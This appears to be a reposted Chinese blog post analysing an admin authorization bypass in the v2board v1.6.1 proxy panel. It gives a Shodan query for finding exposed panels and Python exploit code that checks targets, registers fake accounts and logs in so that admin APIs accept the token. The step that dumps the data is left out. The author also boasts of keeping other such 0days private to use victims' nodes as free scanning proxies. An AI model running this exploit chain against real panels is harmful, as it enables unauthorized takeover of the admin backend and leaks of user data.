扫码领资料
获网安教程
免费&进群
前几天爆发的v2board机场面板漏洞,泄露了大量机场用户的数据。简单看了下,原理挺简单的,就是authorization使用redis缓存后没有对普通用户和管理员做鉴权。以普通用户登录成功后可以直接请求管理员的接口。
文章目录
Shodan 搜索语法
漏洞exp
漏洞代码分析
exp开发思路
如何鉴别存在漏洞的v2board版本?
判断是否需要邮箱验证注册
注册账号并登录
登录账号将authorization写入redis缓存
获取管理员接口数据
总结
http.html:”/theme/v2board/assets/“
https://github.com/zgao264/v2board-exp
代码位置:app/Http/Middleware/Admin.php
在Admin.php中判断redis缓存中是否存在authorization,如果存在就可以访问admin的接口。而这个authorization是没有进一步判断是不是管理员的authorization,所以就造成了普通用户也可以接管机场后台。
修复后的代码去掉了之前缓存判断的逻辑。
漏洞原理非常简单,那么如何快速写一个exp脚本?
观察上面存在漏洞的代码,我们可以发现在缓存的判断逻辑中,403的提示是不一样的。如果请求header中没有携带authorization,那么就返回**未登录或登陆已过期**
。如果有则进一步判断authorization的值是否在redis中,没有则**返回鉴权失败,请重新登录**
。
所以我们可以构造一个请求触发返回鉴权失败,请重新登录这个403。代码如下:
headers = {
'authorization': '1',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36',
}
def POC():
"""
检测目标v2board是否为v1.6.1漏洞版本
"""
path = '/api/v1/admin/config/fetch'
url = f"{target}{path}".replace('//api','/api')
r = s.get(url,headers=headers,verify=False)
if r.status\_code == 403 and '\\\\u9274\\\\u6743\\\\u5931\\\\u8d25' in r.text:
print(f"\[+\]{target}存在漏洞!")
else:
print(f"\[-\]{target}不存在漏洞!")
exit(0)
手动构造一个header,authorization可以是任意值。
v2board的后台大部分是可以直接注册的,部分需要邮箱验证。对于邮箱验证的需要对接邮箱的api才能完成自动化利用,我就懒得写了。
代码如下:
def check\_verify():
"""
判断目标注册是否需要邮箱、邀请验证
"""
path = '/api/v1/guest/comm/config'
url = f"{target}{path}".replace('//api','/api')
resp = s.get(url,headers=headers).json()\['data'\]
if not resp\['is\_invite\_force'\] and not resp\['is\_email\_verify'\]:
print(f"\[+\]目标无需邮箱验证,可直接获取权限")
elif resp\['is\_invite\_force'\]:
print(f"\[-\]目标需要邀请注册,无法获取权限!")
exit(0)
elif resp\['is\_email\_verify'\]:
print("目标需要获取邮箱验证码才能进一步利用!")
exit(0)
### 注册账号并登录,对于没有邮箱验证的后台,可以使用任意伪造的邮箱进行注册,注册成功后会返回auth\_data。
def registry\_acc():
"""
随机注册账号,并返回auth\_data
"""
rand\_num = str(random.random())\[8:\]
QQ\_mail = rand\_num + '@qq.com'
passwd = rand\_num
data = {
'email': QQ\_mail,
'password': passwd,
'invite\_code': '',
'email\_code': ''
}
path = '/api/v1/passport/auth/register'
url = f"{target}{path}".replace('//api','/api')
r = s.post(url,headers=headers,data=data)
if r.status\_code == 200:
print(f"\[+\]当前随机注册的账号为{QQ\_mail},密码为{passwd}")
return QQ\_mail,passwd
else:
print(f"\[-\]目标已关闭账号注册!")
exit(0)
### 登录账号将authorization写入redis缓存这个是很重要的一步,为漏洞代码的判断逻辑。注意登录后需要请求/user/info接口才能使authorization生效。
def login(email,passwd):
"""
登录后需要请求/user/info接口才能使authorization生效
"""
data = {
'email': email,
'password': passwd
}
path = '/api/v1/passport/auth/login'
url = f"{target}{path}".replace('//api','/api')
r = s.post(url, headers=headers, data=data)
if r.status\_code == 200:
print('\[+\]账号登录成功!')
auth\_data = r.json()\['data'\]\['auth\_data'\]
headers\['authorization'\] = auth\_data
s.get(f'{target}/api/v1/user/info', headers=headers)
return auth\_data
else:
print('\[-\]账号登录失败!')
exit(0)
这部分就是把敏感的管理接口数据给dump下来,代码就不放了。利用如下:
漏洞原理很简单,属于逻辑漏洞。但是从代码审计的角度还不一定好发现,渗透测越权应该很容易测试出来。
但是我还是想吐槽一下,公开机场的这些用户数据也没啥意义,大不了换个订阅继续弄。有0day还不如留着白嫖机场节点,我之前挖的其他机场的漏洞从来没公开过,用来做扫描代理还是挺好使的。
来源:https://zgao.top/v2board-v-1-6-1-机场面板管理接口越权漏洞分析/
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
(hack视频资料及工具)
(部分展示)
往期推荐
【精选】SRC快速入门+上分小秘籍+实战指南
爬取免费代理,拥有自己的代理池
漏洞挖掘|密码找回中的套路
渗透测试岗位面试题(重点:渗透思路)
漏洞挖掘 | 通用型漏洞挖掘思路技巧
干货|列了几种均能过安全狗的方法!
一名大学生的黑客成长史到入狱的自述
攻防演练|红队手段之将蓝队逼到关站!
巧用FOFA挖到你的第一个漏洞